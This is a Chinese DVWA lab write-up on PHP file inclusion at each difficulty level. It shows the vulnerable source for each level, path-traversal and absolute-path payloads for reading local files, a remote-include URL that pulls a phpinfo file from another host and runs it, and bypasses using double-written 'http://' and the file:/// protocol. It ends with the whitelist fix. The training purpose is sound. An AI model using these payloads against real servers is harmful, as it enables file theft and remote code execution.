DVWA-全等级文件包含(File Inclusion)
1、什么是文件包含(File Inciusion):
一种代码处理方法,文件包含是指应用程序加载的文件(本地/远程)可以由用户提交的数据控制,从而导致攻击者控制恶意文件在服务器上执行。如当服务器开启allow_url_include选项时,就可以通过php的某些函数如include(),require(),include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
2、文件包含漏洞
文件名的参数用户可控且过滤不严,被攻击者偷梁换柱
php文件中四种包含文件的函数
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
php文件包含漏洞的一般特征如下:
?page=a.php
?home=a.html
?file=content
DVWA文件包含
几种经典的测试方法:
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=../../../../../etc/passwd
http://1.1.1.1/../../../../dir/file.txt
(通过多个../可以让目录回到根目录中然后再进入目标目录)
接下来我们就进入正题吧!
Low
源码:
1 vulnerabilities/fi/source/low.php 2 <?php 3 4 // The page we wish to display 5 $file = $_GET[ 'page' ]; 6 7 ?>
我们通过源码可以发现,服务器对page参数没有任何过滤和检查,服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行
点击第一个文件,此时的url :http://192.128.24.140/vulnerabilities/fi/?page=include.php
而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。
漏洞利用:
1、本地文件包含
构造url
http://192.168.24.140/vulnerabilities/fi/?page=/etc/hack 显示报错,说明不是服务器系统不是Linux,但同时暴露了服务器文件的绝对路径C:
其实只要够早的路径是错误的,就会将服务器的绝对路径报露出来,毕竟是low级别的:http://192.168.24.140/vulnerabilities/fi/?page=lyk.php
构造url(绝对路径): http://192.168.24.140/vulnerabilities/fi/?page=C:\PhpStudy2018\PHPTutorial\WWW\config\1.txt 发现直接就可以进去!
2、当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。在远程服务器10.211.55.12上传一个phpinfo.txt文件,内容如下
构造url :http://127.0.0.1/vulnerabilities/fi/?page=http://10.211.55.12/phpinfo.txt 成功在服务器上执行了phpinfo函数
为了增加隐蔽性,可以对http://10.211.55.12/phpinfo.txt进行编码
同样可以执行成功
Medium
查看代码:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 // Input validation 7 $file = str_replace( array( "http://", "https://" ), "", $file ); 8 $file = str_replace( array( "../", "..\"" ), "", $file ); 9 10 ?>
我们与上一个级别的代码相比,它新增加了两条语句,用str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。我们可以通过双写绕过WAF。同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的,采用绝对路径的办法不受影响。但是远程文件包含就不行了,但是双写绕过后就可以了。
所以并没有什么难的东西增加,语句基本还是一样的:http://192.168.24.140/vulnerabilities/fi/?page=htthttp://p://10.211.55.12/phpinfo.txt
High
源代码分析:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 // Input validation 7 if( !fnmatch( "file*", $file ) && $file != "include.php" ) { 8 // This isn't the page we want! 9 echo "ERROR: File not found!"; 10 exit; 11 } 12 13 ?>
可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议。
构造url:http://192.168.24.140/vulnerabilities/fi/?page=file:///C:/PhpStudy/PHPTutorial/WWW/config/1.txt
不多说了!
Impossible
源码分析:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 // Only allow include.php or file{1..3}.php 7 if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { 8 // This isn't the page we want! 9 echo "ERROR: File not found!"; 10 exit; 11 } 12 13 ?>
可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
结束了!